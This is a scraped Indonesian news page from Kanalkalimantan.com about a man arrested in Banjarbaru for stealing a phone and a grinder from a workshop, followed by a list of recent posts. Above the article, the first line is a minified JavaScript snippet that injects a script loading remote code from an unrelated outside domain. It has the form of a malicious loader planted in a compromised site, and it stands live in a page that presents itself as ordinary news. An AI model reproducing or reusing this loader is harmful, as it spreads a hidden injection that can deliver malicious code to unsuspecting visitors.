(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Cari Barang Bekas Malah Curi HP dan Gerinda di Banjarbaru, MA Ditangkap di Banjarmasin


KANALKALIMANTAN.COM, BANJARBARU – Seorang pemuda asal Kota Banjarmasin diringkus personel Polres Banjarbaru mencuri handphone dan gerinda di salah satu bengkel di Kota Banjarbaru.

MA (39) warga Kelurahan Pekauman Kecamatan Banjarmasin Selatan Kota Banjarmasin yang kerap mencari barang bekas untuk dikumpulkan.

Pencurian itu pun terjadi di sebuah bengkel di Kelurahan Guntung Paikat Kecamatan Banjarbaru Selatan Kota Banjarbaru.

Kapolres Banjarbaru AKBP Dody Harza Kusumah, melalui Kasi Humas AKP Syahruji mengatakan, MA ditangkap di rumahnya di Pekauman Banjarmasin.

Baca juga: DPRD Sidoarjo Pelajari Implementasi Smart City ke Diskominfo Banjarbaru

“Penangkapan MA berawal dari laporan korban, seorang pengusaha di Kelurahan Guntung Paikat bahwa handphone dan mesin gerinda hilang pada akhir tahun lalu,” ujar AKP Syahruji, Kamis (25/1/2024).

Berdasarkan laporan tersebut, polisi melakukan penyelidikan dan berhasil meringkus MA di Banjarmasin.

“Dari hasil interogasi, pelaku mengakui bahwa ia telah melakukan pencurian tersebut seorang diri,” ungkap dia.

Saat diintrograsi MA menjelaskan jika awalnya sedang mencari barang bekas untuk dikumpulkan. Tapi tergiur dua barang berharga lain.

Baca juga: Sekda HSU Apresiasi Program Baznas, Beasiswa hingga Bantuan Modal Usaha

Saat itu MA mencoba mendekati rumah korban, yang mana di sebelah rumah itu ada sebuah bengkel kecil atau workshop yang bertutupkan terpal.

Selanjutnya ia masuki dengan niat hanya mengambil tumpukan besi bekas di workshop tersebut.

Namun, niatnya seketika teralihkan karena melihat satu unit handphone dan mesin gerinda. Alhasil MA mengambil kedua barang tersebut lalu pergi.

Dia mengakui bahwa kedua barang curiannya itu kemudian dijual dan uangnya digunakan untuk keperluan sehari-hari.

Baca juga: Kabupaten Banjar Raih Penghargaan Peduli HAM untuk Kali Kesepuluh

“Selain pelaku, juga mengamankan tiga barang bukti lain yang berkaitan dengan kasus pencurian ini, termasuk handphone yang dicuri,” tuntasnya.

Terpisah, Kasat Reskrim Polres Banjarbaru, Iptu Zuhri Muhammad menuturkan, MA telah diamankan dengan ancaman hukuman maksimal 5 tahun penjara.

“Pelaku dijerat dengan Pasal 362 KUHP tentang pencurian, dengan ancaman hukuman maksimal lima tahun penjara,” tegasnya menambahkan.

Kasat Reskrim pun mengimbau agar warga bisa terus waspada terhadap semua pergerakan orang-orang yang mencurigakan. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

100 Peserta Ramaikan Kejuaraan Catur se Kalteng Piala Pj Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More

1 jam ago

Embarkasi Haji Banjarmasin Berangkatkan Kloter 1, 320 Jemaah Menuju Madinah

KANALKALIMANTAN.COM, BANJARBARU - Jemaah haji Kloter pertama diberangkatkan dari Asrama Haji Embarkasi Banjarmasin di Banjarbaru,… Read More

2 jam ago

Dilakban di Paha, Empat Orang di Bandara Juwata Tarakan Selundupkan 4 Kg Sabu

KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More

16 jam ago

Satgas TMMD Bikin Sumur Bor untuk Warga Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More

17 jam ago

Jemaah Termuda Kloter 1 Daftar Haji saat Umur 10 Tahun, Setor 2014 Berangkat 2024

KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More

20 jam ago

Embarkasi Banjarmasin Berangkatkan 5.759 JCH Kalsel-Kalteng, Pelayanan Penuh Jemaah Lansia

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More

21 jam ago

This website uses cookies.